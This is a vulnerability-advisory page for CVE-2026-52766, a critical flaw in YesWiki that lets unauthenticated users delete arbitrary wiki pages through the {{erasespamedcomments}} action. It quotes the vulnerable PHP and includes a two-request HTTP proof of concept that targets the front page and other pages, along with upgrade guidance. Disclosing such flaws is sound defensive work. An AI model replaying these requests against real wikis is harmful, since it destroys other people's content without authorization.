Loading...
Skip to main content

CVE-2026-52766 — Vulnerability in yeswiki/yeswiki — CVE Details

CRITICAL

YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action

Published July 9, 2026Updated July 9, 2026Source: osv

Summary

### Summary The `{{erasespamedcomments}}` wiki action (`actions/EraseSpamedCommentsAction.php`) accepts a `suppr[]` array from `POST` and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (`default_write_acl='*'`) on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users. The action's `delete()` callee is `PageManager::deleteOrphaned()`, which despite its name does not check whether the target page is orphaned: it issues an unconditional `DELETE` against `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` tables. ### Details Three issues compose the vulnerability. 1. `actions/EraseSpamedCommentsAction.php` performs no authorization check before processing `$_POST['clean']` / `$_POST['suppr'][]` in `actions/EraseSpamedCommentsAction.php`: ```php public function run() { $wiki = &$this->wiki; ob_start(); // ... elseif (isset($_POST['clean'])) { $deletedPages = ''; if (!empty($_POST['suppr'])) { foreach ($_POST['suppr'] as $page) { echo 'Effacement de : ' . $page . "<br />\n"; if ($wiki->services->get(PageController::class)->delete($page)) { $deletedPages .= $page . ', '; } } } } } ``` No `UserIsAdmin()`, no `UserIsOwner()`, no `HasAccess('write', $page)` per-target check, no CSRF token check. 2. The default action ACL grants access to everyone in `includes/YesWiki.php`: ```php $acl = empty($this->config['permissions'][$moduleType][$module]) ? '*' : $this->config['permissions'][$moduleType][$module]; ``` ```php if ($acl === null) { return true; } return $this->CheckACL($acl, $user); ``` No shipped `permissions` map gates `erasespamedcomments` to admins, so `Performer::CheckModuleACL('erasespamedcomments', 'action')` returns `true` for anonymous users. 3. `PageController::delete()` and `PageManager::deleteOrphaned()` perform no authorization check and do not validate that the page is actually orphaned in `includes/controllers/PageController.php:38–48`: ```php public function delete(string $tag): bool { if ($this->entryManager->isEntry($tag)) { return $this->entryController->delete($tag); } else { $this->pageManager->deleteOrphaned($tag); $this->wiki->LogAdministrativeAction( $this->authController->getLoggedUserName(), 'Suppression de la page ->""' . $tag . '""' ); return true; } } ``` in `includes/services/PageManager.php:289–310`: ```php public function deleteOrphaned($tag) { if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); } unset($this->ownersCache[$tag]); if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); } $this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'"); $this->dbService->query("DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' "); $this->dbService->query("DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' "); // ...further unconditional DELETEs across triples, referrers, tags } ``` The companion `isOrphaned()` method (line 284) exists but is never called from `deleteOrphaned()`. The function name is misleading as it deletes any page, not just orphans. ### PoC Default fresh install where `default_write_acl='*'` (per `includes/YesWikiInit.php:219`), anonymous browsing. 1. create a trigger page (anonymous) ```http POST /?wiki=SpamCleanup/edit HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded body=%7B%7Berasespamedcomments%7D%7D&submit=1 ``` This succeeds because the new page passes `aclService->hasAccess('write', 'SpamCleanup')` against `default_write_acl='*'`. 2. trigger arbitrary page deletion (anonymous) ```http POST /?wiki=SpamCleanup HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage ``` Server response includes `Effacement de : PagePrincipale` and `Effacement de : AnotherTargetPage`. `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` rows for those tags are deleted from the database. ### Impact Arbitrary page deletion, including the front page (`PagePrincipale`).

Advisory Timeline

  • First published July 9, 2026 (95 days ago).
  • Last revised July 9, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update yeswiki/yeswiki to 4.6.6 or later
composer require "yeswiki/yeswiki:^4.6.6"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
yeswiki/yeswiki
packagist
4.2.3, v4.1.0, v4.1.1, v4.1.2 (+27 more)4.6.6

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-276
    Incorrect Default PermissionsMITRE
  • CWE-862
    Missing AuthorizationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Frequently Asked Questions

What is CVE-2026-52766?
YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-52766?
CVE-2026-52766 affects yeswiki/yeswiki. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-52766 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-6x7x-gcmf-7r8x

Related CVEs

  • CVE-2026-46670
    CRITICAL

    YesWiki: Unauthenticated SQL Injection

  • CVE-2026-52778
    CRITICAL

    YesWiki has Unsafe eval() in its Formula Calculato, Leading to Remote Code Execution & Denial of Service

  • CVE-2025-46348
    CRITICAL

    YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download

  • CVE-2024-51478
    HIGH

    YesWiki Uses a Broken or Risky Cryptographic Algorithm

  • CVE-2026-52775
    HIGH

    YesWiki has Authenticated SQL Injection via ReactionManager

  • CVE-2026-41143
    HIGH

    YesWiki vulnerable to authenticated SQL Injection via id_fiche in EntryManager::formatDataBeforeSave()

  • CVE-2026-52767
    HIGH

    YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`

  • CVE-2026-52769
    HIGH

    YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies